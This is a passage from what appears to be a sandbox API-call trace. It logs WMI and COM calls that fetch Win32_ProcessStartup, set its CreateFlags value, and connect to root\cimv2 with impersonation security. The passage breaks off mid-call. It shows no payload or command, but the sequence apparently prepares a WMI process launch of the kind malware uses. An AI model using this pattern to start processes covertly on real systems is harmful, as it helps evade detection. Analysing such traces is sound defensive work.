[0157.824] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f500, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0157.824] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f500, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0157.824] IWbemServices:GetObject (in: This=0x1bb976d0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bbb7a60, ppCallResult=0x0) returned 0x0 [0157.825] IWbemClassObject:Get (in: This=0x1bbb7a60, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0157.825] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0157.826] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0157.826] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0157.826] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0157.826] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0157.826] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.828] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1aa0d8d0) returned 0x0 [0157.828] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0d8d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0157.828] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa0d8d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc3f380) returned 0x0 [0157.828] WbemDefPath:IUnknown:Release (This=0x1aa0d8d0) returned 0x0 [0157.828] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc3f380) returned 0x0 [0157.828] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0157.828] WbemDefPath:IUnknown:AddRef (This=0x1bc3f380) returned 0x3 [0157.828] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0157.828] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0157.828] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1aa0d8f0) returned 0x0 [0157.828] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa0d8f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.828] WbemDefPath:IUnknown:Release (This=0x1aa0d8f0) returned 0x3 [0157.828] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0157.829] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0157.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0157.829] WbemDefPath:IUnknown:Release (This=0x1bc3f380) returned 0x2 [0157.829] WbemDefPath:IUnknown:Release (This=0x1bc3f380) returned 0x1 [0157.829] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0157.829] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0157.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc3f380) returned 0x0 [0157.829] WbemDefPath:IUnknown:AddRef (This=0x1bc3f380) returned 0x3 [0157.829] WbemDefPath:IUnknown:Release (This=0x1bc3f380) returned 0x2 [0157.829] WbemDefPath:IWbemPath:SetText (This=0x1bc3f380, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0157.829] IWbemClassObject:Get (in: This=0x1bbb7a60, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cb0e8*=0, plFlavor=0x28cb0ec*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cb0e8*=19, plFlavor=0x28cb0ec*=0) returned 0x0 [0157.829] IWbemClassObject:Get (in: This=0x1bbb7a60, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cb0e8*=19, plFlavor=0x28cb0ec*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cb0e8*=19, plFlavor=0x28cb0ec*=0) returned 0x0 [0157.829] IWbemClassObject:Put (This=0x1bbb7a60, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0157.829] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f5c0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0157.829] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0157.829] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0157.829] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.829] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0157.830] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0157.830] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0157.830] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.831] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1aa0d650) returned 0x0 [0157.831] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0d650, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0157.831] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa0d650, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc3f200) returned 0x0 [0157.831] WbemDefPath:IUnknown:Release (This=0x1aa0d650) returned 0x0 [0157.831] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f200, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc3f200) returned 0x0 [0157.831] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f200, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0157.832] WbemDefPath:IUnknown:AddRef (This=0x1bc3f200) returned 0x3 [0157.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f200, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0157.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f200, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0157.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f200, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1aa0d690) returned 0x0 [0157.832] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa0d690, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.832] WbemDefPath:IUnknown:Release (This=0x1aa0d690) returned 0x3 [0157.832] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0157.832] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0157.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f200, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0157.832] WbemDefPath:IUnknown:Release (This=0x1bc3f200) returned 0x2 [0157.832] WbemDefPath:IUnknown:Release (This=0x1bc3f200) returned 0x1 [0157.832] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0157.832] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0157.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f200, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc3f200) returned 0x0 [0157.832] WbemDefPath:IUnknown:AddRef (This=0x1bc3f200) returned 0x3 [0157.832] WbemDefPath:IUnknown:Release (This=0x1bc3f200) returned 0x2 [0157.832] WbemDefPath:IWbemPath:SetText (This=0x1bc3f200, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0157.832] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f200, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0157.832] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0157.832] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.833] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0157.833] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0157.833] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0157.833] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.835] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1aa0d550) returned 0x0 [0157.835] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d550, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0157.835] WbemLocator:IClassFactory:CreateInstance (in: This=0x1aa0d550, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1aa0d2d0) returned 0x0 [0157.835] WbemLocator:IUnknown:Release (This=0x1aa0d550) returned 0x0 [0157.835] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d2d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1aa0d2d0) returned 0x0 [0157.835] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d2d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0157.836] WbemLocator:IUnknown:AddRef (This=0x1aa0d2d0) returned 0x3 [0157.836] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d2d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0157.836] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d2d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0157.836] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d2d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0157.836] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0157.836] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0157.836] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d2d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0157.836] WbemLocator:IUnknown:Release (This=0x1aa0d2d0) returned 0x2 [0157.836] WbemLocator:IUnknown:Release (This=0x1aa0d2d0) returned 0x1 [0157.836] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0157.836] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0157.836] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d2d0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1aa0d2d0) returned 0x0 [0157.836] WbemLocator:IUnknown:AddRef (This=0x1aa0d2d0) returned 0x3 [0157.836] WbemLocator:IUnknown:Release (This=0x1aa0d2d0) returned 0x2 [0157.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f200, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0157.836] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0157.836] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.836] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1aa0d2f0) returned 0x0 [0157.836] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1aa0d2f0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bb97ac0) returned 0x0 [0157.891] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb97ac0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bbdd880) returned 0x0 [0157.891] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdd880, pProxy=0x1bb97ac0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0157.891] WbemLocator:IUnknown:Release (This=0x1bbdd880) returned 0x1 [0157.891] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb97ac0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bbdd8c0) returned 0x0 [0157.892] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb97ac0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bbdd880) returned 0x0 [0157.892] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdd880, pProxy=0x1bb97ac0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.892] WbemLocator:IUnknown:Release (This=0x1bbdd880) returned 0x2 [0157.892] WbemLocator:IUnknown:Release (This=0x1bbdd8c0) returned 0x1 [0157.892] CoTaskMemFree (pv=0x1bc19980) [0157.892] WbemLocator:IUnknown:AddRef (This=0x1bb97ac0) returned 0x2 [0157.892] WbemLocator:IUnknown:Release (This=0x1aa0d2f0) returned 0x0 [0157.892] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0157.893] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0157.893] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb97ac0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bbdd890) returned 0x0 [0157.893] WbemLocator:IRpcOptions:Query (in: This=0x1bbdd890, pPrx=0x1aa0d3b0, dwProperty=2, 